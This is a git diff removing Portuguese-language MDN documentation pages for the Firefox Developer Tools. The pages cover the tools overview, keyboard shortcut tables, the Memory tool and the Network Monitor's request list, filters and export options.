Inspect the page's DOM properties, functions, etc.
-
Barra de Ferramentas do Programador
-
A command-line interface for the developer tools.
-
Eyedropper
-
Select a color from the page.
-
Scratchpad
-
A text editor built into Firefox that lets you write and execute JavaScript.
-
Style Editor
-
View and edit CSS styles for the current page.
-
Shader Editor
-
View and edit the vertex and fragment shaders used by WebGL.
-
Editor de Áudio da Web
-
Examine the graph of audio nodes in an audio context, and modify their parameters.
-
Capturas de ecrã
-
Efetuar uma captura de ecrã de uma página completa ou de um único elemento.
-
Measure a portion of the page
-
Measure a specific area of a web page.
-
Rulers
-
Overlay horizontal and vertical rulers on a web page
-
-
- -
-
-

- -

Para as ferramentas e recursos mais recentes para os programadores, experimente o Firefox Developer Edition.

- -

Transferir Edição de Desenviolvimento

-
- -
-
- -

Ligação das Ferramentas de Desenvolvimento

- -

Se abrir as ferramentas de desenvolvimento utilizando os atalhos de teclado ou os itens de menu equivalentes, eles irão apontar para o documento hospedado no separador ativo. Mas pode anexar as ferramentas a uma variedades de outros destinos, também, ambos dentro do navegador atual e em navgeadores diferentes ou atém em dispositivos diferentes.

- -
-
-
about:debugging
-
Depurar extras, separadores de conteúdo, e workers em execução no navegador.
-
Connecting to Firefox for Android
-
Connect the developer tools to an instance of Firefox running on an Android device.
-
Connecting to iframes
-
Connect the developer tools to a specific iframe in the current page.
-
Connecting to other browsers
-
Connect the developer tools to Chrome on Android and Safari on iOS.
-
-
- -

Depurar o navegador

- -

By default, the developer tools are attached to a web page or web app. But you can also connect them to the browser as a whole. This is useful for browser and add-on development.

- -
-
-
Consola do Navegador
-
See messages logged by the browser itself and add-ons, and run JavaScript code in the browser's scope.
-
Caixa de Ferramentas do Navegador
-
Attach the Developer Tools to the browser itself.
-
-
- -

Aumentar as ferramentas de desenvolvimento

- -

The developer tools are designed to be extensible. Firefox add-ons can access the developer tools and the components they use to extend existing tools and add new tools. With the remote debugging protocol you can implement your own debugging clients and servers, enabling you to debug websites using your own tools or to debug different targets using the Firefox tools.

- -
-
-
Adicione um novo painel às ferramentas de desenvolvimento
-
Write an add-on that adds a new panel to the Toolbox.
-
Protocolod e Deputação Remoto
-
The protocol used to connect the Firefox Developer Tools to a debugging target like an instance of Firefox or a Firefox OS device.
-
Editor de Fonte
-
A code editor built into Firefox that can be embedded in your add-on.
-
A Interface do Depurador
-
An API that lets JavaScript code observe the execution of other JavaScript code. The Firefox Developer Tools use this API to implement the JavaScript debugger.
-
Consola da Web - saída personalizada
-
How to extend and customize the output of the Web Console and the Browser Console.
-
Exemplo de extras das ferramentas de desenvolvimento
-
Utilize estes exemplos para compreender como implementar um add-on das ferramentas de desenvolvimento.
-
-
- -

Migração do Firebug

- -

Firebug is coming to the end of its lifespan (see Firebug lives on in Firefox DevTools for details of why), and we appreciate that some people will find migrating to another less familiar set of DevTools to be challenging. To ease a transition from Firebug to the Firefox developer tools, we have written a handy guide — Migrating from Firebug.

- -

Contribuir

- -

If you want to help to improve the developer tools, these resources will get you started.

- -
-
-
Participe
-
Mozilla wiki page explaining how to get involved.
-
firefox-dev.tools
-
A tool helping to find bugs to work on.
-
-
diff --git a/files/pt-pt/tools/keyboard_shortcuts/index.html b/files/pt-pt/tools/keyboard_shortcuts/index.html deleted file mode 100644 index 74bd0b31b0..0000000000 --- a/files/pt-pt/tools/keyboard_shortcuts/index.html +++ /dev/null @@ -1,1157 +0,0 @@ ---- -title: Todos os atalhos de teclado -slug: Tools/Keyboard_shortcuts -tags: - - Ferramentas - - I10n:priority -translation_of: Tools/Keyboard_shortcuts -original_slug: Tools/atalhos_de_teclado ---- -
{{ToolsSidebar}}
- -

Esta página lista todos os atalhos de teclado utilizados pelas ferramentas de desenvolvimento integradas no Firefox.

- -

A primeira secção lista o atalho para abrir cada ferramenta e a segunda secção lista os atalhos que são aplicáveis ​​à própria 'Caixa de Ferramentas.' Depois disso, existe uma secção para cada ferramenta, que lista os atalhos que pode utilizar dentro dessa ferramenta.

- -

Porque as chaves de acesso são dependentes do local, elas não estão documentadas nesta página.

- -

Abrir e fechar ferramentas

- -

Estes atalhos funcionam na janela principal do navegador para abrir a ferramenta especificada. Para as ferramentas que estão alojadas na 'Caixa de Ferramentas', elas funcionam para fechar a ferramenta se estiver ativa. Para as ferramentas, tal como a 'Consola do Navegador' que abre numa nova janela, tem de fechar a janela para fechar a ferramenta.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ComandoWindowsmacOSLinux
Bring Toolbox to foreground (if the Toolbox is in a separate window and not in foreground)Ctrl + Shift + I or F12Cmd + Opt + I or F12Ctrl + Shift + I or F12
Close Toolbox (if the Toolbox is in a separate window and in foreground)Ctrl + Shift + I or F12Cmd + Opt + I or F12Ctrl + Shift + I or F12
Open Web Console 1Ctrl + Shift + KCmd + Opt + KCtrl + Shift + K
Toggle "Pick an element from the page" (opens the Toolbox and/or focus the Inspector tab)Ctrl + Shift + CCmd + Opt + CCtrl + Shift + C
Open Style EditorShift + F7Shift + F7 *Shift + F7
Open ProfilerShift + F5Shift + F5 *Shift + F5
Open Network Monitor 2Ctrl + Shift + ECmd + Opt + ECtrl + Shift + E
Toggle Responsive Design ModeCtrl + Shift + MCmd + Opt + MCtrl + Shift + M
Open Browser ConsoleCtrl + Shift + JCmd + Shift + JCtrl + Shift + J
Open Browser ToolboxCtrl + Alt + Shift + ICmd + Opt + Shift + ICtrl + Alt + Shift + I
Open ScratchpadShift + F4Shift + F4 *Shift + F4
Open WebIDEShift + F8Shift + F8 *Shift + F8
Storage InspectorShift + F9Shift + F9 *Shift + F9
Open Debugger 3Ctrl + Shift + ZCmd + Opt + ZCtrl + Shift + Z
- -

1. Ao contrário das outras ferramentas hospedadas na caixa de ferramentas, este atalho também não fecha a consola da Web. Em vez disso, este concentra-se na linha de comando da consola da Web. Para fechar a consola, utilize o atalho da caixa de ferramentas global de Ctrl + Shift + I (Cmd + Opt + I num Mac).

- -

2. Antes do Firefox 55, o atalho de teclado era Ctrl + Shift + Q (Cmd + Opt + Q num Mac).

- -

3. Até ao Firefox 38, quando uma 'Consola do Navegador' está ocultada por uma janela normal do Firefox, a mesma combinação de teclas fecha a consola. A partir do Firefox 38, se a 'Consola do Navegador' é ocultada por uma janela normal do Windows, esta combinação de teclas volta a apresentar esta consola no topo e foca-se na mesma.

- -

4. A ferramenta está desativada por predefinição, assim o atalho não funcionará até que este seja ativado no 'Painel das Definições'.

- -

Caixa de Ferramentas

- -
-

Estes atalhos funcionam sempre que a caixa de ferramentas estiver aberta, independentemente da ferramenta ativa.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ComandoWindowsmacOSLinux
Cycle through tools left to rightCtrl + ]Cmd + ]Ctrl + ]
Cycle through tools right to leftCtrl + [Cmd + [Ctrl + [
-

Toggle between active tool and settings

-
Ctrl + Shift + OCmd + Shift + OCtrl + Shift + O
Toggle between active tool and settings (new in Firefox 43)F1F1F1
-

Toggle toolbox between the last 2 docking modes (new in Firefox 41)

-
Ctrl + Shift + DCmd + Shift + DCtrl + Shift + D
Toggle split console (except if console is the currently selected tool)EscEscEsc
-
- -
-

Estes atalhos funcionam em todas as ferramentas que estão hospedadas na caixa de ferramentas.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ComandoWindowsOS XLinux
Increase font sizeCtrl + + Cmd + + Ctrl + +
Decrease font sizeCtrl + -Cmd + -Ctrl + -
Reset font sizeCtrl + 0Cmd + 0Ctrl + 0
-
- -

Editor fonte

- -
-

Esta tabela lista os atalhos predefinidos para o editor fonte.

- -

Nas secção das 'Preferências do Editor' das configurações das ferramentas de desenvolvimento, pode escolher para utilizar Vim, Emacs, ou combinações de teclas de Sublime Text.

- -

Para as selecionar, visite about:config, selecione a definição devtools.editor.keymap, e atribua "vim" ou "emacs", ou "sublime" para essa definição. Se fizer isso, as combinações selecionadas serão utilziadas para todas as ferramentas de desenvolvimento que utilziam o editor fonte. Precisa de reabrir o editor para que a alteração seja aplicada.

- -

A partir do Firefox 33, a preferência de combinação de teclas está exposta na secção de Preferências do Editor das definições das ferramentas de desenvolvimento, e pode definir isso lá, em vez de about:config.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ComandoWindowsOS XLinux
Ir para a linhaCtrl + JCmd + JCtrl + J
Encontrar um ficheiroCtrl + FCmd + FCtrl + F
Encontrar novamenteCtrl + GCmd + GCtrl + G
Selecionar tudoCtrl + ACmd + ACtrl + A
CortarCtrl + XCmd + XCtrl + X
CopiarCtrl + CCmd + CCtrl + C
ColarCtrl + VCmd + VCtrl + V
AnularCtrl + ZCmd + ZCtrl + Z
RefazerCtrl + Shift + Z / Ctrl + YCmd + Shift + Z / Cmd + YCtrl + Shift + Z / Ctrl + Y
IndentarTabTabTab
Remover indentaçãoShift + TabShift + TabShift + Tab
Mover linha(s) para cimaAlt + UpAlt + UpAlt + Up
Mover linha(s) para baixoAlt + DownAlt + DownAlt + Down
Comentar/remover comentário linha(s)Ctrl + /Cmd + /Ctrl + /
-
- -

Inspetor de Página

- -
- - - - - - - - - - - - - - - -
ComandoWindowsmacOSLinux
Elemento de InspeçãoCtrl + Shift + CCmd + Opt + CCtrl + Shift + C
- -

Selecionador de Nodo

- -

Estes atalhos funcionam enquanto o selecionador de nodo estiver ativo.

- - - - - - - - - - - - - - - - - - - - - - -
ComandoWindowsmacOSLinux
Select the element under the mouse and cancel picker modeClickClickClick
Select the element under the mouse and stay in picker modeShift+ClickShift+ClickShift+Click
- -

Painel HTML

- -

Estes atalhos funcionam enquanto estiver no painel Inspetor HTML.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ComandoWindowsmacOSLinux
Delete the selected nodeDeleteDeleteDelete
Undo delete of a nodeCtrl + ZCmd + ZCtrl + Z
Redo delete of a nodeCtrl + Shift + Z / Ctrl + YCmd + Shift + Z / Cmd + YCtrl + Shift + Z / Ctrl + Y
Move to next node (expanded nodes only)Down arrowDown arrowDown arrow
Move to previous nodeUp arrowUp arrowUp arrow
Expand currently selected nodeRight arrowRight arrowRight arrow
Collapse currently selected nodeRight arrowRight arrowRight arrow
Step forward through the attributes of a nodeTabTabTab
Step backward through the attributes of a nodeShift + TabShift + TabShift + Tab
Start editing the selected attributeEnterReturnEnter
Hide/show the selected nodeHHH
Focus on the search box in the HTML paneCtrl + FCmd + FCtrl + F
Edit as HTMLF2F2F2
Copy the selected node's outer HTML (new in Firefox 42)Ctrl + CCmd + CCtrl + C
Scroll the selected node into view (new in Firefox 44)SSS
Find the next match in the markup, when searching is activeEnterReturnEnter
Find the previous match in the markup, when searching is activeShift + EnterShift + ReturnShift + Enter
- -

Barra de Breadcrumbs

- -

Este atalhos funcionam quando a barra de breadcrumbs estiver focada.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ComandoWindowsmacOSLinux
Move to the previous element in the breadcrumbs bar Left arrowLeft arrowLeft arrow
Move to the next element in the breadcrumbs bar Right arrowRight arrowRight arrow
Focus the HTML paneShift + TabShift + TabShift + Tab
Focus the CSS paneTabTabTab
- -

Painel CSS

- -

Estes atalhos funcionam quando estiver no painel de Inspetor CSS.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ComandoWindowsmacOSLinux
Focus on the search box in the CSS paneCtrl + FCmd + FCtrl + F
Clear search box content (only when the search box is focused, and content has been entered)EscEscEsc
Step forward through properties and valuesTabTabTab
Step backward through properties and valuesShift + TabShift + TabShift + Tab
Start editing property or value (Rules view only, when a property or value is selected, but not already being edited)Enter or SpaceReturn or SpaceEnter or Space
Cycle up and down through auto-complete suggestions (Rules view only, when a property or value is being edited)Up arrow , Down arrowUp arrow , Down arrowUp arrow , Down arrow
Choose current auto-complete suggestion (Rules view only, when a property or value is being edited)Enter or TabReturn or TabEnter or Tab
Increment selected value by 1Up arrowUp arrowUp arrow
Decrement selected value by 1Down arrowDown arrowDown arrow
Increment selected value by 100Shift + Page UpShift + Page UpShift + Page Up
Decrement selected value by 100Shift + Page DownShift + Page DownShift + Page Down
Increment selected value by 10Shift + Up arrowShift + Up arrowShift + Up arrow
Decrement selected value by 10Shift + Down arrowShift + Down arrowShift + Down arrow
Increment selected value by 0.1Alt + Up arrowOpt + Up arrowAlt + Up arrow
Decrement selected value by 0.1Alt + Down arrowOpt + Down arrowAlt + Down arrow
Show/hide more information about current property (Computed view only, when a property is selected, new in Firefox 49)Enter or SpaceReturn or SpaceEnter or Space
Open MDN reference page about current property (Computed view only, when a property is selected, new in Firefox 49)F1F1F1
Open current CSS file in Style Editor (Computed view only, when more information is shown for a property and a CSS file reference is focused, new in Firefox 49)EnterReturnEnter
-
- -

Depurador

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ComandoWindowsmacOSLinux
Open the DebuggerCtrl + Shift + SCmd + Opt + SCtrl + Shift + S
Search for a string in the current fileCtrl + F Cmd + FCtrl + F
Find next in the current fileCtrl + G Cmd + G Ctrl + G 
Search for function definitionsCtrl + DCmd + DCtrl + D
Search for scripts by nameCtrl + P Cmd + PCtrl + P
Resume execution when at a breakpointF8F8 1F8
Step overF10F10 1F10
Step intoF11F11 1F11
Step outShift + F11Shift + F11 1Shift + F11
- -

1. By default, on some Macs, the function key is remapped to use a special feature: for example, to change the screen brightness or the volume. See this guide to using these keys as standard function keys. To use a remapped key as a standard function key, hold the Function key down as well (so to open the Profiler, use Shift + Function + F5).

- -

Note: Before Firefox 66, the combination Ctrl + Shift + S on Windows and Linux or Cmd + Opt + S on macOS would open/close the Debugger. From Firefox 66 and later, this is no longer the case.

-
- -

Consola da Web

- -
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ComandoWindowsmacOSLinux
Open the Web ConsoleCtrl + Shift + KCmd + Opt + KCtrl + Shift + K
Search in the message display paneCtrl + FCmd + FCtrl + F
Clear the object inspector paneEscapeEscapeEscape
Focus on the command lineCtrl + Shift + KCmd + Opt + KCtrl + Shift + K
Clear output -

Ctrl + L

- -

From Firefox 44:

- -

Ctrl + Shift + L

-
Ctrl + L -

Ctrl + L

- -

From Firefox 44:

- -

Ctrl + Shift + L

-
- -

Intérprete da linha de comando

- -

Estes atalhos aplicam-se quando estiver no intérprete da linha de comando.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ComandoWindowsmacOSLinux
Scroll to start of console output (only if the command line is empty)HomeHomeHome
Scroll to end of console output (only if the command line is empty)EndEndEnd
Page up through console outputPage upPage upPage up
Page down through console outputPage downPage downPage down
Go backward through command historyUp arrowUp arrowUp arrow
Go forward through command historyDown arrowDown arrowDown arrow
Move to the beginning of the lineHomeCtrl + ACtrl + A
Move to the end of the lineEndCtrl + ECtrl + E
Execute the current expressionEnterReturnEnter
Add a new line, for entering multiline expressionsShift + EnterShift + ReturnShift + Enter
- -

Janela de 'Completar Automaticamente'

- -

Este atalhos aplicam-se enquanto a janela de completar automaticamente estiver aberta:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ComandoWindowsmacOSLinux
Choose the current autocomplete suggestionTabTabTab
Cancel the autocomplete popupEscapeEscapeEscape
Move to the previous autocomplete suggestionUp arrowUp arrowUp arrow
Move to the next autocomplete suggestionDown arrowDown arrowDown arrow
Page up through autocomplete suggestionsPage upPage upPage up
Page down through autocomplete suggestionsPage downPage downPage down
Scroll to start of autocomplete suggestionsHomeHomeHome
Scroll to end of autocomplete suggestionsEndEndEnd
-
- -

Editor de Estilo

- - - - - - - - - - - - - - - - - - - - - - -
ComandoWindowsmacOSLinux
Abrir o Editor de EstiloShift + F7Shift + F7Shift + F7
Abrir janela 'Completar Automaticamente'Ctrl + SpaceCmd + SpaceCtrl + Space
- -
-

Scratchpad

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ComandoWindowsmacOSLinux
Open the ScratchpadShift + F4Shift + F4Shift + F4
Run Scratchpad codeCtrl + RCmd + RCtrl + R
Run Scratchpad code, display the result in the object inspectorCtrl + ICmd + ICtrl + I
Run Scratchpad code, insert the result as a commentCtrl + LCmd + LCtrl + L
Re-evaluate current functionCtrl + ECmd + ECtrl + E
Reload the current page, then run Scratchpad codeCtrl + Shift + RCmd + Shift + RCtrl + Shift + R
Save the padCtrl + SCmd + SCtrl + S
Open an existing padCtrl + OCmd + OCtrl + O
Create a new padCtrl + NCmd + NCtrl + N
Close ScratchpadCtrl + WCmd + WCtrl + W
Pretty print the code in ScratchpadCtrl + PCmd + PCtrl + P
Show autocomplete suggestionsCtrl + SpaceCtrl + SpaceCtrl + Space
Show inline documentationCtrl + Shift + SpaceCtrl + Shift + SpaceCtrl + Shift + Space
-
- -
-

Eyedropper

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ComandoWindowsmacOSLinux
Selecionar a cor atualEnterReturnEnter
Rejeitar o EyedropperEscapeEscapeEscape
Mover 1 píxelArrow keysArrow keysArrow keys
Mover 10 píxeisShift + arrow keysShift + arrow keysShift + arrow keys
-
- -
- - - - - -
-
diff --git a/files/pt-pt/tools/memory/index.html b/files/pt-pt/tools/memory/index.html deleted file mode 100644 index deef776146..0000000000 --- a/files/pt-pt/tools/memory/index.html +++ /dev/null @@ -1,66 +0,0 @@ ---- -title: Memória -slug: Tools/Memory -tags: - - Ferramentas - - Ferramentas de Programador - - Firefox - - Mozilla -translation_of: Tools/Memory -original_slug: Tools/Memoria ---- -
{{ToolsSidebar}}

The Memory tool lets you take a snapshot of the current tab's memory heap. It then provides a number of views of the heap that can show you which objects account for memory usage and exactly where in your code you are allocating memory.

- -

{{EmbedYouTube("DJLoq5E5ww0")}}

- -
-

O básico

- - - -
-

Analisar capturas de ecrã

- -
-

The Tree map view is new in Firefox 48, and the Dominators view is new in FIrefox 46.

-
- -

Once you've taken a snapshot, there are three main views the Memory tool provides:

- - - -

If you've opted to record allocation stacks for the snapshot, the Aggregate and Dominators views can show you exactly where in your code allocations are happening.

- -
-

Conceitos

- -
- -
- -
-

Páginas de exemplo

- -

Examples used in the Memory tool documentation.

- - diff --git a/files/pt-pt/tools/network_monitor/index.html b/files/pt-pt/tools/network_monitor/index.html deleted file mode 100644 index 98f92f932e..0000000000 --- a/files/pt-pt/tools/network_monitor/index.html +++ /dev/null @@ -1,693 +0,0 @@ ---- -title: Monitor de Rede -slug: Tools/Network_Monitor -tags: - - Depuração - - Ferramentas - - Ferramentas de Desenvolvimento - - Firefox - - Guía - - Rede - - 'l10n:prioridade' -translation_of: Tools/Network_Monitor ---- -
{{ToolsSidebar}}
- -

O Monitor de Rede mostra-lhe os pedidos de rede que o Firefox efetua (por exemplo, quand o este carrega uma página, ou ddevido a XMLHttpRequests), quanto tempo demora cada pedido, e detalhes de cada pedido.

- -

Abrir o Monitor de Rede

- -

Existem algumas maneiras diferentes de abrir o 'Monitor de Rede':

- -
-

Por favor, note que o atalho de teclado foi alterado na versão 55 do Firefox

-
- -
    -
  • Pressione  CtrlShift +  E ( CommandOption +  E  num Mac).
  • -
  • Select "Network" from the Web Developer menu, (which is a submenu in the Tools menu on OS X and Linux).
  • -
  • Click the wrench icon (), which is in the main toolbar or under the Hamburger menu (), then select "Network".
  • -
- -

The Network Monitor will appear at the bottom of the browser window. Reload the page to see the requests:

- -

- -

The Network Monitor records network requests any time the Toolbox is open, even if the Network Monitor itself is not selected. This means you can start debugging a page in, for example, the Web Console, then switch to the Network Monitor to see network activity without having to reload the page.

- -

IU - Sinopse

- -

A IU é dividida em 4 partes principais:

- - - -

- - - -

- -

Barra de Ferramentas

- -

From Firefox 47 onwards, the toolbar is at the top of the main window. In earlier versions of Firefox, it's at the bottom.

- -

It provides:

- -
    -
  • an icon to clear the network request list
  • -
  • an array of icons to filter the network request list by type: -
      -
    • by the content type of the response
    • -
    • XHR requests
    • -
    • (new in Firefox 48) WebSocket upgrades (labeled WS)
    • -
    -
  • -
  • an icon to launch performance analysis
  • -
  • a summary of this page, including the number of requests, total size, and total time
  • -
  • a box enabling you to filter requests by URL
  • -
  • an icon to show/hide the network request details pane.
  • -
- -
-

Note: From Firefox 58 onwards, the "Flash" filter button is no longer available, and Flash requests are included in the "Others" filter ({{bug(1413540)}}).

-
- -

Lista de pedidos de rede

- -

By default, the Network Monitor shows a list of all the network requests made in the course of loading the page. Each request is displayed in its own row:

- -

By default, the Network Monitor is cleared each time you navigate to a new page or reload the current page. You can override this behavior by checking "Enable persistent logs" in the Settings.

- -

Colunas de pedido de rede

- -

From Firefox 55 onwards, you can toggle different columns by right-clicking on the table header and choosing the specific column from the context menu. A "Reset Columns" option is also available to reset the columns to their initial configuration. Here is a list of all available columns:

- -
    -
  • Status: The HTTP status code returned. This is displayed as a color-coded icon: - -
      -
    • blue circle for informational (1XX codes). Notably, this includes 101 (switching protocols) for WebSocket upgrades.
    • -
    • green circle for success (2XX codes)
    • -
    • orange triangle for redirection (3XX)
    • -
    • red square for errors (4XX and 5XX)
    • -
    • hollow grey circle for responses that were fetched from the browser cache.
    • -
    - The exact code is displayed immediately after the icon.
  • -
  • Method: The HTTP request method used.
  • -
  • File: The basename of the file requested.
  • -
  • Protocol: The network protocol used to transfer the data, this column is hidden by default. This is new in Firefox 55.
  • -
  • Scheme: The scheme (https/http/ftp/...) of the path requested. This column is hidden by default. This is new in Firefox 55.
  • -
  • Domain: Domain of the path requested. -
      -
    • If the request used SSL/TLS and the connection had security weaknesses such as weak ciphers, you'll see a warning triangle next to the domain. You will be able to see more details about the problem in the Security tab.
    • -
    • Hover over the domain to see the IP address.
    • -
    • There's an icon next to the domain that gives you extra information about the security status of that request. See Security icons.
    • -
    -
  • -
  • Remote IP: The IP address of the server answering the request. This column is hidden by default. This is new in Firefox 55.
  • -
  • Cause: The reason that the network request occurred, for example XHR request, {{htmlelement("img")}}, script, script requesting an image, etc. This is new in Firefox 49.
  • -
  • Type: Content-type of the response.
  • -
  • Cookies: The number of request cookies associated to the request. This column is hidden by default. This is new in Firefox 55.
  • -
  • Set-Cookies: The number of response cookies associated to the request. This column is hidden by default. This is new in Firefox 55.
  • -
  • Transferred: The number of bytes that were actually transferred to load the resource. This will be less than Size if the resource was compressed. From Firefox 47, if the resource was fetched from a service worker cache, then this cell displays "service worker".
  • -
  • Size: The size of the transferred resource.
  • -
- -

The toolbar at the top labels these columns, and clicking the label sorts all the requests by that column.

- -

Miniaturas de imagem

- -

If the file is an image, the row includes a thumbnail of the image, and hovering over the filename shows a preview in a tooltip:

- -

- -

Ícones de segurança

- -

The Network Monitor displays an icon in the Domain column:

- -

- -

This gives you extra information about the security status of the request:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ÍconeSignificado
HTTPS
Weak HTTPS (for example, a weak cipher was used)
Failed HTTPS (for example, a certificate was invalid)
HTTP
Localhost
- -

For weak and failed HTTPS requests, you'll see more details of the problem in the Security tab.

- -

Cause column

- -

The Cause column indicates what the cause of the request was. This is usually fairly obvious, and you can generally see the correlation between this and the Type column entry. The most common values are:

- -
    -
  • document: The source HTML document.
  • -
  • img: {{htmlelement("img")}} element.
  • -
  • imageset: {{htmlelement("img")}} element.
  • -
  • script: A JavaScript file.
  • -
  • stylesheet: A CSS file.
  • -
- -
-

When a request was triggered by JavaScript, a small JS icon is shown to the left of the entry in the Cause column. Hovering over this displays a popup containing the stack trace for the request, to provide more clues as to why a request happened. Note that since Firefox 55, stack traces can be found in the Stack Trace tab of the {{anch("Network request details")}} panel instead.

- -

- -

You can then click on any of the entries in the popup to open up the relevant script in the Debugger pane.

-
- -

Barra Cronológica

- -

The request list also displays a timeline for the different parts of each request.

- -

- -

Each timeline is given a horizontal position in its row relative to the other network requests, so you can see the total time taken to load the page. For more details on the color-coding used here, see the section on the Timings page.

- -

Starting in Firefox 45, the timeline also contains two vertical lines:

- -
    -
  • The blue line marks the point at which the page's DOMContentLoaded event is triggered.
  • -
  • The red line marks the point at which the page's load event is triggered.
  • -
- -

Pedidos de filtragem

- -

You can filter requests by content type, by whether they are XMLHttpRequests or WebSocket requests, by URL, or by request properties.

- -

Filtering by content type

- -

To filter by content type, use the buttons in the toolbar.

- -

Filtering XHR

- -

To see only {{Glossary("XHR (XMLHttpRequest)", "XHR")}} requests, use the "XHR" button in the toolbar.

- -

Filtering WebSockets

- -
-

Novo na versão 48 do Firefox

-
- -

To see only WebSocket connections, use the "WS" button in the toolbar.

- -

To monitor the data exchanged in WebSocket connections, try the WebSocket Monitor add-on.

- -

Filtering by URL

- -

To filter by URL, use the search box in the toolbar. Click in the search box, or press Ctrl + F (or Cmd + F on a Mac), and start typing. The list of network requests will be filtered to include only requests that contain your filter string, in either the Domain or the File portions.

- -

From Firefox 45,  you can filter requests that don't contain your filter string by prefixing your query with the "-" operator. For example, the query "-google.com" will show all requests that don't have "google.com" in their URL.

- -

Filtering by properties

- -
-

Novo na versão 55 do in Firefox

-
- -

To filter by specific request properties, use the search box in the toolbar. The search box recognizes specific keywords, which can be used to filter the requests by specific request properties. Those keywords are followed by a colon and a related filter value. The filter values are matched case insensitive. Prepending a minus (-) negates the filter. You can combine different filters together by seperating them with a space.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Palavra-chaveSignificadoExemplos
status-codeShows resources that have the specific HTTP status code.status-code:304
methodShows resources that have were requested via the specific HTTP request method.method:post
domainShows resources coming from a specifc domain.domain:mozilla.org
remote-ipShows resources coming from a server with the specified IP.remote-ip:63.245.215.53
- remote-ip:[2400:cb00:2048:1::6810:2802]
causeShows resources matching a specific cause type. The types can be found in the description of the cause column.cause:js
- cause:stylesheet
- cause:img
transferredShows resources having a specific transferred size or a transferred size close to the one specified.  k can be used as suffix for kilobytes and m for megabytes, e.g. the value 1k is equivalent to 1024.transferred:1k
sizeShows resources having a specific size (after decompression) or a size close to the one specified. k can be used as suffix for kilobytes and m for megabytes, e.g. the value 1k is equivalent to 1024.size:2m
larger-thanShows resources that are larger than the specified size in bytes. k can be used as suffix for kilobytes and m for megabytes, e.g. the value 1k is equivalent to 1024.larger-than:2000
- -larger-than:4k
mime-typeShows resources that match the specified MIME type.mime-type:text/html
- mime-type:image/png
- mime-type:application/javascript
isis:cached and is:from-cache shows only resources coming from cache.
- is:running shows only resources, which are currently being transferred.
is:cached
- -is:running
schemeShows resources transferred via the given scheme.scheme:http
has-response-headerShows resources that contain the specified HTTP response header.has-response-header:cache-control
- has-response-header:X-Firefox-Spdy
set-cookie-domainShows the resources that have a Set-Cookie header with a Domain attribute that matches the specified value.set-cookie-domain:.mozilla.org
set-cookie-nameShows the resources that have a Set-Cookie header with a name that matches the specified value.set-cookie-name:_ga
set-cookie-valueShows the resources that have a Set-Cookie header with a value that matches the specified value.set-cookie-value:true
regexpShows the resources having a URL that matches the given {{Glossary("regular expression")}}.regexp:\d{5}
- regexp:mdn|mozilla
- - - -

Context-clicking on a row in the list displays a context menu with the following options:

- -
    -
  • Copy URL
  • -
  • Copy URL Parameters (new in Firefox 40)
  • -
  • Copy POST Data (new in Firefox 40, only for POST requests)
  • -
  • Copy as cURL
  • -
  • Copy Request Headers (new in Firefox 40)
  • -
  • Copy Response Headers (new in Firefox 40)
  • -
  • Copy Response (new in Firefox 40)
  • -
  • Copy Image as Data URI (only for images)
  • -
  • Copy All As HAR (new in Firefox 41)
  • -
  • Save All As HAR (new in Firefox 41)
  • -
  • Save Image As (new in Firefox 55, only for images)
  • -
  • Edit and Resend
  • -
  • Open in New Tab
  • -
  • Start Performance Analysis for the page
  • -
- -

Edit and Resend

- -

This option opens an editor enabling you to edit the request's method, URL, parameters, and headers, and resend the request.

- -

Open in New Tab

- -

Resends the request in a new tab — very useful for debugging asynchronous requests.

- -
-

Nota: Since Firefox 59, POST requests are correctly resent as POST requests ({{bug(1220758)}}), with the expected POST parameters ({{bug(1407515)}}).

-
- -

Copy as cURL

- -

This option copies the network request to the clipboard as a cURL command, so you can execute it from a command line. The command may include the following options:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-X [METHOD]If the method is not GET or POST
--dataFor URL encoded request parameters
--data-binaryFor multipart request parameters
--http/VERSIONIf the HTTP version is not 1.1
-IIf the method is HEAD
-H -

One for each request header.

- -

From Firefox 34, if the "Accept-Encoding" header is present, the cURL command will include --compressed instead of -H "Accept-Encoding: gzip, deflate". This means that the response will be automatically decompressed.

-
- -

Copy/Save All As HAR

- -

These options create an HTTP Archive (HAR) for all requests listed. The HAR format enables you to export detailed information about network requests. 'Copy All As HAR' copies the data to the clipboard, 'Save All As HAR' opens a dialog allowing you to save the archive to disk.

- -

Note that as of Firefox 61, we have included a toolbar menu to make these options easier to discover ({{bug(1403530)}}). The new 'HAR' dropdown menu includes both the 'Copy All As HAR' and 'Save All As HAR' commands, as well as an 'Import...' option.

- -

- -

Detalhes do pedido de rede

- -

